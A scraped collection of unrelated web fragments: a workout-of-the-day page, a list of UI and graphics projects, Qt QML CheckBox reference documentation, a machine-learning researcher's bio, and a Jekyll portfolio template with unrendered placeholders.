♦ Diamond Sets. 3x1 Set = 10/8/6/4, pause, 4/6/8/10
Workouts of the Day
Form is key. It‘s not what you do—it‘s how you do it that matters most
Super simple workout of the day helps distract you with the gym when daily life gets boring. We use cookies to help you track your workouts.
tap the ? to watch form tips


Projects:
T Board — K-1 spelling game
Elektropaint — HTML5 implementation of the SGI screen saver electropaint (WebKit/Chrome only)
Letterplex — render complex text in OpenGL via glyph cache
Fluid-Touch Design prototype for a better Floating Action Button
Creating Animations and Interactions with Physical Models
Towards Declarative Touch Interactions


CheckBox QML Type
A checkbox with a text label. More...
| Import Statement: | import QtQuick.Controls 1.4 |
| Since: | Qt 5.1 |
| Inherits: |
Properties
- activeFocusOnPress : bool
- checked : bool
- checkedState : int
- exclusiveGroup : ExclusiveGroup
- hovered : bool
- partiallyCheckedEnabled : bool
- pressed : bool
- style : Component
- text : string
- tooltip : string
Signals
- clicked()
Detailed Description
A CheckBox is an option button that can be toggled on (checked) or off (unchecked). Checkboxes are typically used to represent features in an application that can be enabled or disabled without affecting others.
The state of the checkbox can be set with the checked property.
In addition to the checked and unchecked states, there is a third state: partially checked. This state indicates that the regular checked/unchecked state can not be determined; generally because of other states that affect the checkbox. This state is useful when several child nodes are selected in a treeview, for example.
The partially checked state can be made available to the user by setting partiallyCheckedEnabled to true
, or set directly by setting checkedState to Qt.PartiallyChecked
. checkedState behaves identically to checked when partiallyCheckedEnabled is false
; setting one will appropriately set the other.
The label is shown next to the checkbox, and you can set the label text using its text property.
Column { CheckBox { text: qsTr("Breakfast") checked: true } CheckBox { text: qsTr("Lunch") } CheckBox { text: qsTr("Dinner") checked: true } }
Whenever a CheckBox is clicked, it emits the clicked() signal.
You can create a custom appearance for a CheckBox by assigning a CheckBoxStyle.
Property Documentation
This property is true
if the control takes the focus when it is pressed; forceActiveFocus() will be called on the control.
This property indicates the current checked state of the checkbox.
Possible values: Qt.UnChecked
- The checkbox is not checked (default). Qt.Checked
- The checkbox is checked. Qt.PartiallyChecked
- The checkbox is in a partially checked (or "mixed") state.
The checked property also determines whether this property is Qt.Checked
or Qt.UnChecked
, and vice versa.
exclusiveGroup : ExclusiveGroup |
This property stores the ExclusiveGroup that the control belongs to.
This property determines whether the Qt.PartiallyChecked
state is available.
A checkbox may be in a partially checked state when the regular checked state can not be determined.
Setting checkedState to Qt.PartiallyChecked
will implicitly set this property to true
.
If this property is true
, checked will be false
.
By default, this property is false
.
This property is true
if the control is being pressed. Set this property to manually invoke a mouse click.
style : Component |
The style Component for this control.
See also Qt Quick Controls Styles QML Types.
This property holds the button tooltip.
This QML property was introduced in QtQuick.Controls 1.7.


Hoa M. Le
Photo generated by DeepArt algorithm. Style image credit: creativemints
I am a research assistant/student at the Data Science Lab, Hanoi University of Science & Technology (DSLab-HUST), reading and working on statistical machine learning. My research interests include deep neural networks and latent variable models, with focus on informative deep probabilistic models that endorse interpretability and scalability for downstream applications in other domains (e.g. computer vision, bioinformatics, recommendation). I am also particularly interested in the advances of conditional generative image modelling - a branch of generative models which has contributed ample insights to representation learning, in addition with inspiring applications in vision/graphics.
Prior to HUST, I had a brief but wonderful time at FPT Software Hanoi. In my early academic journey, I was a summer intern at Dr Le Novere's lab, also completed an M.Phil. in Computational Biology at Cambridge University (2014), and a B.Sc. in Mathematics with Finance at Exeter University (2013). Before that, I was a B.A. student at the Business school, National Economics University for one year.
For more information, please see my CV.


{{ project.title }}
{{ project.intro }}
---
layout: skeleton
title: Portfolio
description: Portfolio of Pablo Armando Rodríguez Codes
keywords:
css: homepage
---
{% assign sorted_projects = site.projects | sort: "priority" %}
{% assign primary_project = sorted_projects | where: "featured", "primary" | first %}
{% assign secondary_projects = sorted_projects | where: "featured", "secondary" %}
{% assign other_projects = sorted_projects | where_exp: "project", "project.featured.size == nil" %}
{% if primary_project %}
{% assign name = primary_project.path | split: "/" | last | split: "." | first %}
{{ primary_project.intro }} {{ project.intro }}Featured{{ primary_project.title }}
Featured{{ project.title }}
{{ project.intro }}